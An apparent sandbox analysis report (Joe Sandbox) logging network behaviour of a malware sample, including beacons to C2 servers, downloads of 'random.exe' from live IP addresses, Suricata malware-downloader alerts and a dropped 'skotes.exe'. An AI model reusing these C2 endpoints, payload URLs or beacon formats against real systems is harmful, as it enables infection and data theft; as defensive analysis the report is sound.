name="file"------DHDHJJJECFIECBGDGCAA--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KKFCFBKFCFBFIDGCGDHJHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4b 46 43 46 42 4b 46 43 46 42 46 49 44 47 43 47 44 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 31 64 34 63 35 62 38 63 62 66 33 36 30 61 33 36 36 65 31 65 61 34 33 64 32 63 30 62 36 33 64 62 37 32 36 35 30 62 62 61 32 66 32 63 36 66 65 34 64 31 34 36 30 64 62 36 38 35 35 39 31 64 62 36 65 38 65 32 34 31 35 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 46 43 46 42 4b 46 43 46 42 46 49 44 47 43 47 44 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 46 43 46 42 4b 46 43 46 42 46 49 44 47 43 47 44 48 4a 2d 2d 0d 0a Data Ascii: ------KKFCFBKFCFBFIDGCGDHJContent-Disposition: form-data; name="token"51d4c5b8cbf360a366e1ea43d2c0b63db72650bba2f2c6fe4d1460db685591db6e8e2415------KKFCFBKFCFBFIDGCGDHJContent-Disposition: form-data; name="message"ybncbhylepme------KKFCFBKFCFBFIDGCGDHJ--
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IEHJJECBKKECFIEBGCAKHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 45 48 4a 4a 45 43 42 4b 4b 45 43 46 49 45 42 47 43 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 31 64 34 63 35 62 38 63 62 66 33 36 30 61 33 36 36 65 31 65 61 34 33 64 32 63 30 62 36 33 64 62 37 32 36 35 30 62 62 61 32 66 32 63 36 66 65 34 64 31 34 36 30 64 62 36 38 35 35 39 31 64 62 36 65 38 65 32 34 31 35 0d 0a 2d 2d 2d 2d 2d 2d 49 45 48 4a 4a 45 43 42 4b 4b 45 43 46 49 45 42 47 43 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 49 45 48 4a 4a 45 43 42 4b 4b 45 43 46 49 45 42 47 43 41 4b 2d 2d 0d 0a Data Ascii: ------IEHJJECBKKECFIEBGCAKContent-Disposition: form-data; name="token"51d4c5b8cbf360a366e1ea43d2c0b63db72650bba2f2c6fe4d1460db685591db6e8e2415------IEHJJECBKKECFIEBGCAKContent-Disposition: form-data; name="message"wkkjqaiaxkhb------IEHJJECBKKECFIEBGCAK--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 42 32 38 37 34 42 30 35 39 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CBB2874B05982D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: GET /files/random.exe HTTP/1.1Host: 31.41.244.11

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 13.107.246.40 13.107.246.40
Source: Joe Sandbox View	IP Address: 13.107.246.40 13.107.246.40

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View	JA3 fingerprint: 1138de370e523e824bbca92d049a3777
Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: 6271f898ce5be7dd52b0fc260d0662b3
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:49715 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:49813 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:49937 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:50137 -> 31.41.244.11:80

Source: unknown

HTTPS traffic detected: 173.222.162.64:443 -> 192.168.2.6:49784 version: TLS 1.0

Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.17
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.17
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.17
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.17
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.17
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.17
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.17
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.17
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.17
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.17
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.17
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.17
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.17
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.17
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.17
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.17
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.17
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.17
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.17
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.17
Source: unknown	TCP traffic detected without corresponding DNS query: 20.223.36.55
Source: unknown	TCP traffic detected without corresponding DNS query: 20.223.36.55
Source: unknown	TCP traffic detected without corresponding DNS query: 20.223.36.55
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 37_2_0026BE30 Sleep,InternetOpenW,InternetConnectA,HttpOpenRequestA,HttpSendRequestA,InternetReadFile,

37_2_0026BE30

Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338387&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241126T004110Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=13611172f41b4f88bb84283859c699ff&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=601583&metered=false&nettype=ethernet&npid=sc-338387&oemName=biqyts%2C%20Inc.&oemid=Public&ossku=Professional&rver=2&sc-mode=0&scmid=Public&smBiosDm=biqyts20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=601583&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing=&svoffered=0 HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAQPDlE3ov/sLJj/ONoCYZVPHC77vZxQ+MByXPaGI5/QnjVlPkPwCnv9qKOHwjLov6/tzV3BWCptc2eZyIyg4jJ4mN0SQFikvqH30Zge1jL8Ktj1azqkyfAcGr9Uflj1keutxhuk03defs9gD8AKGsIBdTxL4L03Z4Jqj+WUMpIFzpX5lpLvcNZoS1QiIYid+fwBHW2np5wJHmgEe+lSmk8HTasC0LIox/8tWga5rfUBUnZQQApEIPexAWLj4uQvVx1PEUSYHWXw5kHAg+RvKPt/m/I8vMWaT0o5KCB7/VTMjIBKyhQwIVNTbsTEi5+LjQVCelzeVw4yNRkokAObzDCoQZgAAEKTkrdaYUcl4Gj8H6UgNhL2wAaVAn2+yyP5LvyuWdU8+z5f0hjbKjWiv8OoBIJSmieJdE+gHENiWUT9mgzArUddrRr8GjWb/CBbV1OTnyYsCJVwMWtaC5SgzH7+tynhLibW9di3Q4dZYV/2OAC8wcIdQTMwemfcSXOZla1lQybJfbtlkLUR37zu4Y/srOBUnFUsLGJHNbOqdHRNu+C1smysHxxXMTxnnc8SiU5BdUgWDUgzNeDxKXsrUN2c7Ym4Zy60l5eLKmU2tPRab0RnNHytweJJOBRFhGN4yi/pfsoWLfHsyMFMIAhAzpyXMuby4XIiZ38STXaeyDRy1zL2wAaAkWene6ZerBn3zoY1U2Z58GXOfH5jb853V9DDDB7dYh66bYAxvgjbTVCD8ANSrOhyNTv7SvPooQc/VRnkyAHFgT3rdJPJz47/+WUYP1+E6BDtehVuv7Q3tDYKDy1Hl082N8FFTe9xgnz5tUehBh8/P/BRRl5KO5BWBB3GurRGvdIbfem7kG4LrTyNAmCbLEsM/ArBa2f/5xEWE3qwRat43zJ9JSj+h5O04ZiE1ZHwCZczUzxJOzmvLSUZ0Ud4WG9ybC9cB&p=Cache-Control: no-cacheMS-CV: oCcyyIRnWUKfQX2e.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338388&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241126T004110Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=3d0ccc6b1b8a4920ab20f5c490b46801&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=601583&metered=false&nettype=ethernet&npid=sc-338388&oemName=biqyts%2C%20Inc.&oemid=Public&ossku=Professional&rver=2&scmid=Public&smBiosDm=biqyts20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=601583&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing=&svoffered=0 HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AATU6fhPXZYVho6a4p4vI2a74EooGr1lAbj7TEsMHWuixhG1doJrKKbt3trAazk79RhlGmjxG7bBJMzqYwbs1bBup/Dn5Wzb6bEjSIzdEBQ3r9jsDQYJP5YdEyLc1FkCdshJwVaqf+2v/wkpd7vfbiw7WBDTCl9nVIuCDTT1fTZGSLBLfeWhqPTpXzhhbTOKdYlchq5NRhYFLBm65xek5qYAnx0jxQvk/6khRtkjdw4MYGvFqJ59NfyJ6cd24DtcqZE732cRR0YGg6qTlkkoqaqSAGUhbBXC3lfimhuCY4NY/YD9QWVTjMhJsBmddSj/6X36mpEAhdqldMJNN7U1t33AQZgAAEBvNTkd/mcb3wd7o5Wq4MPSwAWRAz+m5BN+DDko8id7GfIOI89t3PLk+hasqoAf/gmmnDoNRfv/ut+y+a9bgon2PpYlY6aoqAfT5vS5d3DJLIa6GBDmx+o/nPwm54s73reBh8gQpFF5sa2ylZKEjfM/pTdWwVD2H3fr+oyvciX56p9Wa9l4qidtogKHrlR/jM805tLJYlumZVKFnGiogTqLQ4k86TegobKrA2cbenD2J4xRfuWxiZ6W7isDgWhTUib6Bv1q3dO4hbmWPxmBHGeK2X4sho7x9cv+mAqHb0USImKdwxzojN9x8HXyl2lZQsnQKW67TdX1nigP7Ee9Ktf5LourU/+ZxJE4zuGG8nSIrYC2v0stB3sryAvkqVIRUm56ssqG5g3WBw9SNJZpq3d4Vh7zDeVTUE5wB/vKiYadjg5R1HsSmRb1x8h4Et1CdUt0ITjb5/s+p0GYlI+2Y6QgkGM9md9jMpAW41pRu5VLbzMkYAloCAuYwCBG+Ank04YBNMJAuMuLW34RbI+gLVqs7S2c8PZ47CFVrXUgL6JpixtYqFkcQavGt3hWG+5Dzt0c0vUS2OvSs4beu+zO+oabrgNcB&p=Cache-Control: no-cacheMS-CV: oCcyyIRnWUKfQX2e.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=280815&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241126T004110Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=95e9dc1f615d4ae89fe7379299f1193b&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=601583&metered=false&nettype=ethernet&npid=sc-280815&oemName=biqyts%2C%20Inc.&oemid=Public&ossku=Professional&scmid=Public&smBiosDm=biqyts20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=601583&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing=&svoffered=0 HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAUOkDnLpuoVUv9LEyC9W/SLMLOeMnEX1atSoTt6TLad4hOPjHOYiSt8rr8zPSCwkd4GdfQxAfgIFWicjBOriyxFAF4P4Tnh/Sh6C6bEKv99RnDUUNJ2RRxct8mwOXkDbULtBNaHClN9dGo1x5d2o0yROEW9ei+rKZFq0sCLbaJnb1KRLsY+1uCVUlJajzedO14HNnTJyPVF3VosWuQ/qKgyL1PyFyREXYAA3106vzCQmSYShHFF7Jxnzu9BvsrISdHbGllEEHmT1OX0D3G8MJ2oPh3DAtTz8kYufT2mprjfysmADZlL/OuhalyQgBqpc1DipcNflvbhNrkKRi4miQx4QZgAAELHGmkeITw2Xqd9oZrITaXSwAYJpCOxhD04HNyox8lSGDwTrKvhRzhUJqFjUSaB56IwZyVqx1IlM3x1BWdGwJkACQZMlJuzQcHwUrbXiuWk1Y+m3Do0Mpgp6lzPYjTQkdFkaSmNkufZmnJ+QUh2Yv7qNSFlXLvOsfsyZvwX9IJK48WUWv+hvvPD+igb6p4YphnPRpPwJB6yzUkwL30Bh1EUm8agaU3UNPufWJSkzLAXkSd052/HneK75xsj/bW2/WAVDbjZfnphvOG1L8I4/xpZj27QtCaVlOCpgFxwE41iS6UmyapYnUXsgrwxhlYASIcoUCHdytvvQbnpqJO2YstZCp4wumNTstRF/LT7KG3VSR/HEAFqwb1JncwNp9iEbxtn/0rT3qI2oPWDMxndWeaXNDF7Fk5WxBfJwZzI00DfX5IPwNBv3op/Eys5NVlKQ9LuLmfJFBDYtAb8DPJ1S3UqoU5C2iqm+OKILw0rjqZIhGI5Ay13qrmi+q3c+0mdOPto0JTdKgiX5lttJd0cfrHQ+r/4MLu0jEDfXN5h3CSMMsjOOSr8+Y/W8JMQTwYKN1qtILcjGREgaA2ckroBrv6JnEdcB&p=Cache-Control: no-cacheMS-CV: oCcyyIRnWUKfQX2e.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239400770824_1KWY1ODV8FNLB48KP&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239389015249_1YG5WL97CZWWEQABD&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239351692183_1GSWAYG616F8PFDNZ&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239400772016_15QVOA8CAZLQ6LFE4&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239351692182_1I6V30R2J66NF61KL&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEI3L3NAQiQys0BCLnKzQEI6dLNAQjo1c0BCMvWzQEIqNjNAQj5wNQVGLrSzQEY642lFw==Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/ddljson?async=ntp:2 HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEI3L3NAQiQys0BCLnKzQEI6dLNAQjo1c0BCMvWzQEIqNjNAQj5wNQVGLrSzQEY642lFw==Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
